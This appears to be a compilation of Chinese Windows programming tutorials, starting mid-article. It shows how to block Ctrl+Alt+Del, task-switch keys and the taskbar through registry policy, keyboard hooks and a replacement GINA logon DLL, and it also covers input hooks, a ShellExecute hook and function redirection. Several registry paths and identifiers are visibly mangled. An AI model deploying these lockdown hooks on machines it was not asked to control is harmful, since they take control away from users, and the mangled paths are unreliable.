SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, &bOldState, 0); MS大佬认为这种方法很业余，所以在Windows NT/2000/XP中对此进行了修改。在这些较新的Windows版本中用户登陆使用Winlogon和GINA--Graphical Identification and Authentication，意思是图形化的身份认证，挺吓唬人的是不是！其实就那么回事。Winlogon是Windows系统的一部分，它专门提供交互式登陆支持，而GINA则是Winlogon用来实现认证的一个DLL--这个DLL就是msgina.dll。WlxInitialize、WlxActivateUserShell便是其中输出，当然不知这两个，还有别的。前者进行自身的初始化，后者激活用户的外壳程序。Windows就是用这个DLL来实现用户名+口令的身份认证的，但是开发人员可以用自己的GINA代替msgina.dll。例如，实现智能卡、视网膜扫描仪、DNA检查等等认证机制来代替输入用户名+口令形式的身份检查。 下面的表格中列出了与GINA有关的全部函数。其中有一个是WlxLoggedOnSAS，当按下Ctrl+Alt+Del 键时，Winlogon便调用这个函数。

（表一）GINA 函数一览表函数 描述WlxActivateUserShell激活用户外壳程序WlxDisplayLockedNotice允许GINA DLL 显示锁定信息WlxDisplaySASNotice 当没有用户登陆时，Winlogon调用此函数WlxDisplayStatusMessageWinlogon 用一个状态信息调用此函数进行显示WlxGetConsoleSwitchCredentials Winlogon调用此函数读取当前登陆用户的信任信息，并透明地将它们传到目标会话WlxGetStatusMessage Winlogon 调用此函数获取当前状态信息WlxInitialize 针对指定的窗口位置进行GINA DLL初始化WlxIsLockOk 验证工作站正常锁定WlxIslogoffOk 验证注销正常WlxLoggedOnSAS 用户已登陆并且工作站没有被加锁，如果此时接收到SAS事件，则Winlogon 调用此函数WlxLoggedOutSAS 没有用户登陆，如果此时收到SAS事件，则Winlogon 调用此函数WlxLogoff 请求注销操作时通知GINA DLL WlxNegotiate 表示当前的Winlogon版本是否能使用GINA DLLWlxNetworkProviderLoad 在加载网络服务提供程序收集了身份和认证信息后，Winlogon 调用此函数WlxRemoveStatusMessage Winlogon 调用此函数告诉GINA DLL 停止显示状态信息WlxScreensaverNotify 允许GINA与屏幕保护操作交互WlxShutdown 在关闭之前Winlogon 调用此函数，允许GINA实现任何关闭任务，例如从读卡器中退出智能卡WlxStartApplication 当系统需要在用户的上下文中启动应用程序时调用此函数WlxWkstaLockedSAS当工作站被锁定，如果接收到一个SAS，则Winlogon 调用此函数

在默认情况下，GINA显示登陆对话框，用户输入用户名及口令。所以要想屏蔽掉Ctrl+Alt+Del，则可以写一个新的MyGina.dll，其中提供接口调用msgina.dll的函数WlxLoggedOnSAS，从而实现Ctrl+Alt+Del屏蔽。或者编写一个键盘驱动程序来实现。

难道屏蔽Ctrl+Alt+Del真的象上述所说的那么麻烦吗？有没有更好的方法呢？答案是肯定的。所以忘掉GINA吧，使用操作系统的策略设置完全可以搞掂这个问题。方法是进入"开始"菜单，选择"运行"，然后在运行对话框中输入"gpedit.msc"，启动Windows系统的组策略编辑器。在左边窗格查看"用户配置|管理模板|系统|登录/注销"，则在右边窗格策略里不难发现"禁用任务管理器"一项。如图二所示：

图一 组策略编辑器

通过对这个策略的设置可以屏蔽掉Ctrl+Alt+Del。如果要通过编写代码来实现，则必须操作下面的注册表项：HKCU\par Software\par Microsoft\par Windows\par CurrentVersion\par Policies\par System= dword:1

如此设置之后，则在Windows XP中，如果用户按下Ctrl+Alt+Del，则会弹出一个出错对话框，如图二所示：

图二 错误信息

注意这里假设在控制面板中“用户帐号”管理的“选择登录和注销选项”设置启用了“使用欢迎屏幕”一项。如图三所示：

图三 登录选项

否则，XP将使用Windows的传统登录模式，要求用户输入帐户名。并且Ctrl+Alt+Del组合键的 行为也和传统的行为一样，注册表中DisableTaskMgr的设置也只是将登录/注销对话框中的任务管理器按钮屏蔽或置灰。 有人可能会问，有关任务管理器的文档又没有明确说明，那你是怎么知道DisableTaskMgr是用来禁用任务管理器的呢？告诉你吧， 我是在使用GPEDIT时发现的。GPEDIT是一个非常有用的工具，不仅可以用它来编辑策略，还可以用它来发现策略。利用这个工具 可以轻松控制Windows的许多东西，从许可权限的存取到是否使用IE的传统外观，从是否显示对话框中的Places Bar到是否用Ctrl+Alt+Del 启动任务管理器。总之用它可以配置上百个界面行为，因此它是一个足以让系统管理员垂延三尺的工具。 一旦找到了感兴趣的策略，那如何知道相应的注册表位置呢？有两种方法。第一种是比较粗鲁的办法：在修改策略的前后将注册表输出到 一个.reg文件，然后比较它们有什么不同。所有的策略无外乎以下的四个注册表键：// 用户指定

HKEY_CURRENT_USER

HKEY_CURRENT_USER

// 机器指定

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE 第二种方法是直捣信息源头--检查描述策略的管理模板文件（.adm）。下面是Windows XP的system.adm文件对 DisableTaskMgr的描述：（Windows 2000对此的描述稍有不同，其细节请参考Windows 2000的资源开发包）CATEGORY !!CADOptions

#if version >= 4

EXPLAIN !!CADOptions_Help

#endif

KEYNAME "Software"

POLICY !!DisableTaskMgr

#if version >= 4

SUPPORTED !!SUPPORTED_Win2k

#endif

EXPLAIN !!DisableTaskMgr_Help

VALUENAME "DisableTaskMgr"

END POLICY

;

; More Ctrl+Alt+Del policies here...

;

END CATEGORY ; Ctrl+Alt+Del options

……

……

DisableTaskMgr_Help="防止用户启动''任务管理器''(Taskmgr.exe)。如果该设置被启用，并且用户试图启动任务管理器，系统

会显示消息，解释是一个策略禁止了这个操作。任务管理器让用户启动或终止程序，监视计算机性能，查看及监视计算机上所有运行

中的程序 (包含系统服务)， 搜索程序的执行文件名，及更改程序运行的优先顺序。"

DisableTaskMgr="删除任务管理器" 以上是DisableTaskMgr的描述片断

正是在这段描述中KEYNAME 和VALUENAME指定了注册表的键值对。利用这种方法，你可以为自己的应用程序创建管理模板和策略，但编辑和浏览.adm模板文件的编辑器必须支持Unicode字符。如Notepad或者WordPad等都可以。此外，使用管理模板文件，系统管理员可以用它为整个组织配置需要的策略--由此可以看出，此文件在系统中的地位举足轻重！有关模板管理文件格式的详细信息请参考平台SDK。最后需要强调的是DisableTaskMgr只是禁用Ctrl+Alt+Del的功能。下面我们来讨论如何捕获它的按键序列。要想截获Ctrl+Alt+Del，有三种可选择的方法：1、 编写一个GINA代理；此方法我们在以后的文章中介绍。实际上，ac952_z_cn的个人专栏文章：“WINDOWS NT/2000下如何屏蔽CTRL+ALT+DEL”使用的就是这种方法。2、 编写一个键盘驱动程序；本文例子程序使用的方法。3、 用自己的程序代替任务管理器程序TaskMgr.exe。屏蔽Ctrl+Alt+Del解决方案的具体实现细节请参考本文的例子代码。

下面让我们来解决屏蔽任务切换键序列的问题，这些键序列包括Alt+Tab、Ctrl+Esc、Alt+Esc、VK_LWIN/VK_RWIN以及任务栏。在很早以前的Window 3.1年代，处理这个问题的方法是通过WM_SYSKEYDOWN实现。到了Windows 9x时期，本文前面提到过对这个问题的处理方法，使用SPI_SETSCREENSAVERRUNNING。但是进入Windows NT 4.0 （SP3 +），Windows 2000以及Windows XP时代，对这个问题的处理已经有所不同，必须写一个低级的键盘驱动钩子。不要怕，因为要实现这个钩子并不是很难。本文下面会介绍如何实现这个键盘钩子。一般来讲，系统级钩子必须是一个DLL。下面是本文提供的一个键盘钩子DLL的源代码片断（TaskKeyHook.dll）：头文件

////////////////////////////////////////////////////////////////

//TaskKeyHook.h

//

#define DLLIMPORT __declspec(dllimport)

DLLIMPORT BOOL DisableTaskKeys(BOOL bEnable, BOOL bBeep);

DLLIMPORT BOOL AreTaskKeysDisabled();

实现文件

////////////////////////////////////////////////////////////////

// TaskKeyHook.cpp

//

#define _WIN32_WINNT 0x0500 // for KBDLLHOOKSTRUCT

#include <afxwin.h> // MFC core and standard components

#define DLLEXPORT __declspec(dllexport)

//////////////////

// App (DLL) object

//

class CTaskKeyHookDll : public CWinApp {

public:

CTaskKeyHookDll() { }

~CTaskKeyHookDll() { }

} MyDll;

////////////////////////////////////////////////

// 下面的代码表示这一部分在此DLL所有实例之间共享

// 低级键盘钩子一定是系统级的钩子

//

#pragma data_seg (".mydata")

HHOOK g_hHookKbdLL = NULL; // 钩子句柄

BOOL g_bBeep = FALSE; // 按下非法键时蜂鸣响铃

#pragma data_seg ()

#pragma comment(linker, "/SECTION:.mydata,RWS") // 告诉链接器：建立数据共享段

//////////////////////////////////

// 低级键盘钩子

// 截获任务转换键：不传递直接返回

//

LRESULT CALLBACK MyTaskKeyHookLL(int nCode, WPARAM wp, LPARAM lp)

{

KBDLLHOOKSTRUCT *pkh = (KBDLLHOOKSTRUCT *) lp;

if (nCode==HC_ACTION) {

BOOL bCtrlKeyDown =

GetAsyncKeyState(VK_CONTROL)>>((sizeof(SHORT) * 8) - 1);

if ((pkh->vkCode==VK_ESCAPE && bCtrlKeyDown) || // Ctrl+Esc

// Alt+TAB

(pkh->vkCode==VK_TAB && pkh->flags & LLKHF_ALTDOWN) ||

// Alt+Esc

(pkh->vkCode==VK_ESCAPE && pkh->flags & LLKHF_ALTDOWN)||

(pkh->vkCode==VK_LWIN || pkh->vkCode==VK_RWIN)) { // 开始菜单

if (g_bBeep && (wp==WM_SYSKEYDOWN||wp==WM_KEYDOWN))

MessageBeep(0); // 蜂鸣

return 1; // 不再往CallNextHookEx传递，直接返回

}

}

return CallNextHookEx(g_hHookKbdLL, nCode, wp, lp);

}

////////////////////////////////////////////////

// 是否屏蔽任务键序列--也就是说键盘钩子是否安装？

// 注：这里假设没有其它钩子做同样的事情

//

DLLEXPORT BOOL AreTaskKeysDisabled()

{

return g_hHookKbdLL != NULL;

}

////////////////////////////////////////////////

// 屏蔽任务键：安装低级键盘构

// 返回当前是否屏蔽标志（TRUE/FALSE）

//

DLLEXPORT BOOL DisableTaskKeys(BOOL bDisable, BOOL bBeep)

{

if (bDisable) {

if (!g_hHookKbdLL) {

g_hHookKbdLL = SetWindowsHookEx(WH_KEYBOARD_LL,

MyTaskKeyHookLL, MyDll.m_hInstance, 0);

}

} else if (g_hHookKbdLL != NULL) {

UnhookWindowsHookEx(g_hHookKbdLL);

g_hHookKbdLL = NULL;

}

g_bBeep = bBeep;

return AreTaskKeysDisabled();

} TaskKeyHook 输出两个函数：DisableTaskKeys 和 AreTaskKeysDisabled。前者安装WH_KEYBOARD_LL 钩子；后者判断这个钩子是否安装。此键盘钩子的处理思路是截获Alt+Tab，Ctrl+Esc，Alt+Esc以及Windows 键VK_LWIN/VK_RWIN，关于这两个键，稍候会有详细描述。当钩子碰到这些键时，它直接返回到调用者，而不是将处理传递给CallNextHookEx 。LRESULT CALLBACK MyTaskKeyHookLL(...)

{

if (/* 任务键*)

return 1; // 立即返回

return CallNextHookEx(...);

} TaskKeyHook的大部分实现都很简单。只有一个地方用到了一点小技巧：既使用#pragma data_seg 命名包含全程数据的数据段，并且用#pragma comment (linker...)告诉链接器让这个数据段为共享段。实现细节请参考源代码。 本文附带的例子程序（TrapKeys.exe）汇集了上述几个有关屏蔽键盘按键序列的功能，除此之外，它还有一个功能就是禁用任务栏。因为既然禁用了任务转换键，那么一般来说，也必然要禁用任务栏，否则禁用任务转换键就没有意义了。禁用任务栏的具体方法如下：HWND hwnd = FindWindow("Shell_traywnd", NULL);//找到任务栏

EnableWindow(hwnd, FALSE); // 禁用任务栏如图四是例子程序运行画面：

图四 TrapKeys程序运行画面

以下是TrapKeys程序的实现代码：/////////////////////////////////////////////////

// TrapKeys.cpp

//

#include "stdafx.h"

#include "resource.h"

#include "StatLink.h"

#include "TaskKeyMgr.h"

////////////////////

// 主对话框

//

class CMyDialog : public CDialog {

public:

CMyDialog(CWnd* pParent = NULL) : CDialog(IDD_MYDIALOG, pParent) { }

protected:

HICON m_hIcon;

CStaticLink m_wndLink1;

CStaticLink m_wndLink2;

CStaticLink m_wndLink3;

virtual BOOL OnInitDialog();

// 命令/UI 的更新处理

afx_msg void OnDisableTaskMgr();

afx_msg void OnDisableTaskKeys();

afx_msg void OnDisableTaskbar();

afx_msg void OnUpdateDisableTaskMgr(CCmdUI* pCmdUI);

afx_msg void OnUpdateDisableTaskKeys(CCmdUI* pCmdUI);

afx_msg void OnUpdateDisableTaskbar(CCmdUI* pCmdUI);

afx_msg LRESULT OnKickIdle(WPARAM,LPARAM);

DECLARE_MESSAGE_MAP()

};

///////////////////////////////////////////////////////

// 标准的MFC 对话框应用类代码。

//

class CMyApp : public CWinApp {

public:

virtual BOOL InitInstance() {

// 初始化app：运行对话框

CMyDialog dlg;

m_pMainWnd = &dlg;

dlg.DoModal();

return FALSE;

}

virtual int ExitInstance() {

// 为了按全起见，在退出程序的时候，将所有禁用的项目复原

CTaskKeyMgr::Disable(CTaskKeyMgr::ALL, FALSE);

return 0;

}

} theApp;

BEGIN_MESSAGE_MAP(CMyDialog, CDialog)

ON_COMMAND(IDC_DISABLE_TASKKEYS,OnDisableTaskKeys)

ON_COMMAND(IDC_DISABLE_TASKBAR, OnDisableTaskbar)

ON_COMMAND(IDC_DISABLE_TASKMGR, OnDisableTaskMgr)

ON_UPDATE_COMMAND_UI(IDC_DISABLE_TASKKEYS, OnUpdateDisableTaskKeys)

ON_UPDATE_COMMAND_UI(IDC_DISABLE_TASKBAR, OnUpdateDisableTaskbar)

ON_UPDATE_COMMAND_UI(IDC_DISABLE_TASKMGR, OnUpdateDisableTaskMgr)

ON_MESSAGE(WM_KICKIDLE,OnKickIdle)

END_MESSAGE_MAP()

///////////////////////////////////////////////

// 初始化对话框：子类化超链接柄加栽图标

//

BOOL CMyDialog::OnInitDialog()

{

CDialog::OnInitDialog();

// 初始化超链接

m_wndLink1.SubclassDlgItem(IDC_EMAIL,this);

m_wndLink2.SubclassDlgItem(IDC_VCKBASEURL,this);

m_wndLink3.SubclassDlgItem(IDC_VCKBASELINK,this);

// 自己设置对话框图标。MFC不会为对话框应用程序设置它

m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);

SetIcon(m_hIcon, TRUE); // 打图标

SetIcon(m_hIcon, FALSE); // 小图标

return TRUE;

}

////////////////////////////////////////////////////////

// 命令/UI 更新处理：写这些东西应该很轻松。

void CMyDialog::OnDisableTaskKeys()

{

CTaskKeyMgr::Disable(CTaskKeyMgr::TASKKEYS,

!CTaskKeyMgr::AreTaskKeysDisabled(), TRUE); // 蜂鸣

}

void CMyDialog::OnUpdateDisableTaskKeys(CCmdUI* pCmdUI)

{

pCmdUI->SetCheck(CTaskKeyMgr::AreTaskKeysDisabled());

}

void CMyDialog::OnDisableTaskbar()

{

CTaskKeyMgr::Disable(CTaskKeyMgr::TASKBAR,

!CTaskKeyMgr::IsTaskBarDisabled());

}

void CMyDialog::OnUpdateDisableTaskbar(CCmdUI* pCmdUI)

{

pCmdUI->SetCheck(CTaskKeyMgr::IsTaskBarDisabled());

}

void CMyDialog::OnDisableTaskMgr()

{

CTaskKeyMgr::Disable(CTaskKeyMgr::TASKMGR,

!CTaskKeyMgr::IsTaskMgrDisabled());

}

void CMyDialog::OnUpdateDisableTaskMgr(CCmdUI* pCmdUI)

{

pCmdUI->SetCheck(CTaskKeyMgr::IsTaskMgrDisabled());

}

////////////////////////////////////////////////////////

// 要想让ON_UPDATE_COMMAND_UI正常工作，这是必需的。

//

LRESULT CMyDialog::OnKickIdle(WPARAM wp, LPARAM lCount)

{

UpdateDialogControls(this, TRUE);

return 0;

} 按上述方法尽管禁用了任务栏，但是还有一个机关没有处理，那就是按下Windows键仍然可以弹出“开始”菜单。显然在处理VK_LWIN之前，任务栏不会检查是否被启用。一般来讲，如果某个窗口被屏蔽掉，那么它就不再会处理用户在这个窗口的输入--这就是所谓的禁用（Disable）的含义。通常调用EnableWindow(FALSE)后自然就达到了这个目的。但是处理VK_LWIN/VK_RWIN按键的代码决不会去检查任务栏启用/禁用状态。对此，本文的处理办法仍然是利用键盘钩子。修改一下TaskKeyHook实现，增加对Windows键的捕获。这样按下“开始”菜单键之后什么也不会发生。希望没有漏掉其它的按键。如果哪位读者发现漏掉了什么键，请和我联系，以便把它加到键盘钩子中去。为了简单起见，我在类CTaskKeyMgr中封装了所有禁用的函数。下面是这个类的定义击实现文件：TaskKeyMgr

////////////////////////////////////////

// TaskKeyMgr.h

//

#pragma once

#include "TaskKeyHook.h"

/////////////////////////////////////////////////////////////////////

// 使用这个类禁用任务键，任务管理器或任务栏。

// 用相应的标志调用Disable，如：CTaskMgrKeys::Disable(CTaskMgrKeys::ALL)；

//

class CTaskKeyMgr {

public:

enum {

TASKMGR = 0x01, // 禁用任务管理器(Ctrl+Alt+Del)

TASKKEYS = 0x02, //禁用任务转换键(Alt-TAB, etc)

TASKBAR = 0x04, //禁用任务栏

ALL=0xFFFF //禁用所有东西L

};

static void Disable(DWORD dwItem,BOOL bDisable,BOOL bBeep=FALSE);

static BOOL IsTaskMgrDisabled();

static BOOL IsTaskBarDisabled();

static BOOL AreTaskKeysDisabled() {

return ::AreTaskKeysDisabled(); // 调用 DLL

}

};

CPP实现

////////////////////////////////////////////////////////////////

// TaskKeyMgr.cpp

//

#include "StdAfx.h"

#include "TaskKeyMgr.h"

#define HKCU HKEY_CURRENT_USER

// 用于禁用任务管理器策略的注册表键值对

LPCTSTR KEY_DisableTaskMgr =

"Software\Microsoft\Windows\CurrentVersion\Policies\System";

LPCTSTR VAL_DisableTaskMgr = "DisableTaskMgr";

///////////////////////////////////////////

// 禁用相关的任务键

//

// dwFlags = 表示禁用什么

// bDisable = 禁用为 (TRUE) ，否则为启用 (FALSE)

// bBeep = 按下非法键是否蜂鸣（指针对任务键）

//

void CTaskKeyMgr::Disable(DWORD dwFlags, BOOL bDisable, BOOL bBeep)

{

// 任务管理器 (Ctrl+Alt+Del)

if (dwFlags & TASKMGR) {

HKEY hk;

if (RegOpenKey(HKCU, KEY_DisableTaskMgr,&hk)!=ERROR_SUCCESS)

RegCreateKey(HKCU, KEY_DisableTaskMgr, &hk);

if (bDisable) { // 禁用任务管理器（disable TM）： set policy = 1

DWORD val=1;

RegSetValueEx(hk, VAL_DisableTaskMgr, NULL,

REG_DWORD, (BYTE*)&val, sizeof(val));

} else { // 启用任务管理器（enable TM）

RegDeleteValue(hk,VAL_DisableTaskMgr);

}

}

// 任务键 (Alt-TAB etc)

if (dwFlags & TASKKEYS)

::DisableTaskKeys(bDisable,bBeep); // 安装键盘钩

// 任务栏

if (dwFlags & TASKBAR) {

HWND hwnd = FindWindow("Shell_traywnd", NULL);

EnableWindow(hwnd, !bDisable);

}

}

BOOL CTaskKeyMgr::IsTaskBarDisabled()

{

HWND hwnd = FindWindow("Shell_traywnd", NULL);

return IsWindow(hwnd) ? !IsWindowEnabled(hwnd) : TRUE;

}

BOOL CTaskKeyMgr::IsTaskMgrDisabled()

{

HKEY hk;

if (RegOpenKey(HKCU, KEY_DisableTaskMgr, &hk)!=ERROR_SUCCESS)

return FALSE; // 没有此键，不禁用

DWORD val=0;

DWORD len=4;

return RegQueryValueEx(hk, VAL_DisableTaskMgr,

NULL, NULL, (BYTE*)&val, &len)==ERROR_SUCCESS && val==1;

} 这个类中的函数都是静态的，实际上CTaskKeyMgr完全就是一个名字空间。你可以在自己的程序中随心所欲地使用它。例如，禁用任务转换按键和任务栏，但是不禁用Ctrl+Alt+Del：CTaskKeyMgr::Disable(CTaskKeyMgr::TASKKEYS |

CTaskKeyMgr::TASKBAR, TRUE); 此外，还有几个函数是用来检查当前禁用了哪些东西，甚至可以在用户按下禁用键时发出蜂鸣声……自己去享受Paul的源代码吧！


利用GINA实现Ctrl+Alt+Del的拦截

附件>>>> noreboot.zip

利用GINA实现Ctrl+Alt+Del的拦截

WINDOWS NT/2000下如何屏蔽CTRL+ALT+DEL

作者:ac952_z_cn

前言

在WINDOWS 9X环境中我们可以使用SystemParametersInfo (SPI_SCREENSAVERRUNNING, 1,NULL, 0);来屏蔽CTRL+ALT+DEL,但在NT/2000环境下却行不通,即使使用WH_KEYBOARD_LL这个低级的键盘hook也无法拦截！笔者通过替换GINA DLL的方式很好地实现了在NT/2000下屏蔽CTRL+ALT+DEL的功能。

下载源代码 6K

一、原理

在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的，GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。在WinLogon初始化时，就向系统注册截获CTRL+ALT+DEL消息，所以其他程序就无法得到CTRL+ALT+DEL的消息。

WinLogon会和GINA DLL进行交互，缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供的接口，自己

可以编GINA DLL来代替MSGINA.DLL。

WinLogon初始化时会创建3个桌面：

(1)、winlogon桌面：主要显示window 安全等界面，如你按下CTRL+ALT+DEL,登陆的界面等

(2)、应用程序桌面：我们平时见到的那个有我的电脑的界面

(3)、屏幕保护桌面：屏幕保护显示界面。

在用户登陆以后，按下CTRL+ALT+DEL键的时候，WinLogon回调用GINA DLL的输出函数：WlxLoggedOnSAS，

这时正处于winlogon桌面，我们只要直接将他转向应用程序桌面，系统就不会显示Windows安全那个界面，换一种说法

也就是用户按下CTRL+ALT+DEL后，不会起什么作用。当是我们在切换桌面的时候会出现屏幕闪动！

二、程序实现

GINA DLL要输出下列函数(winlogon会调用)

WlxActivateUserShell

WlxDisplayLockedNotice

WlxDisplaySASNotice

WlxDisplayStatusMessage

WlxGetStatusMessage

WlxInitialize

WlxIsLockOk

WlxIsLogoffOk

WlxLoggedOnSAS

WlxLoggedOutSAS

WlxLogoff

WlxNegotiate

WlxNetworkProviderLoad

WlxRemoveStatusMessage

WlxScreenSaverNotify

WlxShutdown

WlxStartApplication

WlxWkstaLockedSAS

为了简化编程，我们从MSGINA.DLL中动态获取上诉函数，在自定义的DLL中(以下称为NoReboot.DLL)中直接调用MSGINA.DLL

的函数即可。现在我们要处理的就是WlxLoggedOnSAS函数：

int WINAPI WlxLoggedOnSAS (

PVOID pWlxContext,

DWORD dwSasType,

PVOID pReserved)

{

HANDLE hMutex;

WriteInfo("WlxLoggedOnSAS "); //用于记录信息

if (dwSasType == WLX_SAS_TYPE_CTRL_ALT_DEL){ //屏蔽CTRL_ALT_DEL,也可以根据特定条件来决定是否要屏蔽

//我采用了Mutex来控制是否屏蔽，（注意:要用unicode)

hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"_ac952_z_cn_CTRL_ALT_DEL");

if (hMutex){

CloseHandle(hMutex);

WriteInfo("disble CTRL+ALT+DEL ");

return WLX_SAS_ACTION_NONE; //将屏幕切换到应用程序桌面,屏蔽掉CTRL+ALT+DEL

}

else

WriteInfo("not disble CTRL+ALT+DEL ");

}

return prcWlxLoggedOnSAS ( //这是我从MSGINA.DLL中获取的函数。

pWlxContext,

dwSasType,

pReserved);

}

我们要在自己的程序中调用hMutex = CreateMutex(NULL, FALSE, "_ac952_z_cn_CTRL_ALT_DEL");就可屏蔽CTRL+ALT+DEL。

三、安装和注意事项：

在编写GIAN DLL中要注意，GINA DLL使用的是unicode。

GINA DLL的安装：

键名 : _LOCAL_MACHINENT

变量名 : GinaDLL

变量类型 : [REG_SZ]

内容 : "你的GINA DLL的名称" 如："NoReboot.DLL:

将你的GINA DLL(NoReboot.dll)拷贝到系统目录下(system32),重启机器，你的GINA DLL(NoReboot.dll)就会运行。

如果出现进不了你的系统，那你进入DOS后，将msgina.dll拷贝成你的GINA DLL(NoReboot.dll)就可进入了，或者进入

安全模式，删除掉那个键值。


监测系统多少时间没有用户输入

系统空闲时间检测 Idle

我们知道，当用户超过一定的时间没有输入之后，Windows就会启动屏幕保护功能，那么在程序中如何做到这一点呢？就是说我如何检测到用户多久没有输入呢？大家知道，在Windows中有一个Hook技术，就是钩子，我们利用Hook技术，Hook键盘和鼠标，这样就可以知道用户有没有输入了！因此，我们可以修改Timer控件，继承下来就可以了：

用法：

if IdleTimer1.Snooze>6000 then

ShowMessage('用户已经有6秒钟没有输入了！');

///FileName:IdleTimer.Pas

unit IdleTimer;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls;

type

TIdleTimer = class(TTimer)

private

function GetSnooze: Longint;

procedure SetSnooze(const Value: Longint);

{ Private declarations }

protected

{ Protected declarations }

public

{ Public declarations }

constructor Create(AOwner:TComponent);override;

destructor Destroy;override;

property Snooze:Longint read GetSnooze write SetSnooze;

published

{ Published declarations }

end;

procedure Register;

implementation

var

Instances:integer;

ElapsedTime:Longint;

whKeyBoard,whMouse:HHook;

procedure Register;

begin

RegisterComponents('System', [TIdleTimer]);

end;

{ TIdleTimer }

function MouseHookCallBack(Code:integer;Msg:lParam;MouseHook:wParam):DWORD;stdcall;

begin

if Code>=0 then ElapsedTime :=GetTickCount;

Result := CallNextHookEx(whMouse,Code,Msg,MouseHook);

end;

function KeyBoardCallBack(Code:integer;Msg:word;KeyBoardHook:Longint):LongInt;stdcall;

begin

if Code>=0 then ElapsedTime :=GetTickCount;

Result := CallNextHookEx(whKeyBoard,Code,Msg,KeyBoardHook);

end;

constructor TIdleTimer.Create(AOwner: TComponent);

function GetModuleHandleFromInstance:THandle;

var

s:array[0..512] of char;

begin

GetModuleFileName(HInstance,s,SizeOf(s)-1);

Result :=GetModuleHandle(s);

end;

begin

inherited Create(AOwner);

Inc(Instances);

if Instances =1 then begin

ElapsedTime :=GetTickCount;

whMouse := SetWindowsHookEx(WH_MOUSE,@MouseHookCallback,GetModuleHandleFromInstance,0);

whKeyBoard :=SetWindowsHookEx(WH_KEYBOARD,@KeyBoardCallBack,GetModuleHandleFromInstance,0);

end;

end;

destructor TIdleTimer.Destroy;

begin

Dec(Instances);

if Instances =0 then begin

UnhookWindowsHookEx(whKeyBoard);

UnhookWindowsHookEx(whMouse);

end;

inherited;

end;

function TIdleTimer.GetSnooze: Longint;

begin

Result:= GetTickCount - ElapsedTime;

end;

procedure TIdleTimer.SetSnooze(const Value: Longint);

begin

ElapsedTime := GetTickCount + Value;

end;

end.


外壳ShellExecute函数截取扩展

{-----------------------------------------------------------------------------

Unit Name: ShellExecuteHookObj

Author: hubdog

Purpose: 外壳ShellExecute函数截取扩展

History: 2001-05-01

-----------------------------------------------------------------------------}

unit ShellExecuteHookObj;

interface

uses

Windows, ActiveX, ComObj, ShlObj, ShellAPI;

type

TTShellExecuteHook = class(TComObject, IShellExecuteHook)

protected

function Execute(var ShellExecuteInfo: TShellExecuteInfo): HResult; stdcall;

end;

const

Class_TShellExecuteHook: TGUID = '{935FA400-243D-11D3-B06E-857B2AE2BE64}';

implementation

resourcestring

sCreateRegKeyError = '创建注册表项失败';

type

TShellExComObjectFactory = class(TComObjectFactory)

public

procedure UpdateRegistry(Register: Boolean); override;

end;

{ TShellExComObjectFactory }

function TTShellExecuteHook.Execute(var ShellExecuteInfo: TShellExecuteInfo): HResult;

var

FileName: string;

begin

Result := S_FALSE;

with ShellExecuteInfo do

begin

FileName := UpperCase(ExtractFileName(lpFile));

if Pos('NOTEPAD', FileName) = 1 then

begin

Result := S_OK;

hInstApp := 32;

MessageBox(Wnd, '不允许记事本运行！', '错误', MB_OK or MB_ICONERROR);

end;

end;

end;

procedure TShellExComObjectFactory.UpdateRegistry(Register: Boolean);

const

hellExecuteHooksKey = 'SOFTWARE';

var

Handle: HKey;

Status, Disposition: Integer;

ClassID: string;

begin

ClassID := GUIDToString(Class_TShellExecuteHook);

if Register then

begin

Status := RegCreateKeyEx(HKEY_LOCAL_MACHINE, PChar(ShellExecuteHooksKey), 0, '',

REG_OPTION_NON_VOLATILE, KEY_READ or KEY_WRITE, nil, Handle, @Disposition);

if Status = 0 then

begin

Status := RegSetValueEx(Handle, PChar(ClassID), 0, REG_SZ,

PChar(Description), Length(Description) + 1);

RegCloseKey(Handle);

end;

end else

begin

Status := RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar(ShellExecuteHooksKey), 0,

KEY_READ or KEY_WRITE, Handle);

if Status = 0 then

begin

Status := RegDeleteValue(Handle, PChar(ClassID));

RegCloseKey(Handle);

end;

end;

if Status <> 0 then raise EOleError.Create(sCreateRegKeyError);

inherited UpdateRegistry(Register);

end;

initialization

TShellExComObjectFactory.Create(ComServer, TTShellExecuteHook, Class_TShellExecuteHook,

'TShellExecuteHook', 'ShellExecute hook sample', ciMultiInstance, tmApartment);

end.


hook a function (in your own application)

...hook a function (in your own application) ?

Thomas Stutz

type

TSaveRedir = packed record

Addr: Pointer;

Bytes: array[0..4] of Byte;

end;

PSaveRedir = ^TSaveRedir;

procedure RedirectCall(FromAddr, ToAddr: Pointer; SaveRedir: PSaveRedir);

var

OldProtect: Cardinal;

NewCode: packed record

JMP: Byte;

Distance: Integer;

end;

begin

if not VirtualProtect(FromAddr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then

RaiseLastWin32Error;

if Assigned(SaveRedir) then

begin

SaveRedir^.Addr := FromAddr;

Move(FromAddr^, SaveRedir^.Bytes, 5);

end;

NewCode.JMP := $E9;

NewCode.Distance := PChar(ToAddr) - PChar(FromAddr) - 5;

Move(NewCode, FromAddr^, 5);

if not VirtualProtect(FromAddr, 5, OldProtect, OldProtect) then

RaiseLastWin32Error;

end;

procedure UndoRedirectCall(const SaveRedir: TSaveRedir);

var

OldProtect: Cardinal;

begin

if not VirtualProtect(SaveRedir.Addr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then

RaiseLastWin32Error;

Move(SaveRedir.Bytes, SaveRedir.Addr^, 5);

if not VirtualProtect(SaveRedir.Addr, 5, OldProtect, OldProtect) then

RaiseLastWin32Error;

end;

// Example: Replace Application.MessageBox with your own.

function MyNewMessageBox(Self: TApplication; const Text, Caption: PChar;

Flags: Longint): Integer;

begin

ShowMessage('New Messagebox');

//....

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Application.MessageBox('You'll never see this Text /

Diesen Text wirst du nie sehen', '...', MB_OK);

end;

var

S: TSaveRedir;

initialization

RedirectCall(@TApplication.MessageBox, @MyNewMessageBox, @S);

finalization

UndoRedirectCall(S);


画图的Path函数

可以利用Windows的API函数：Path !

具体：

BeginPath(Handle);
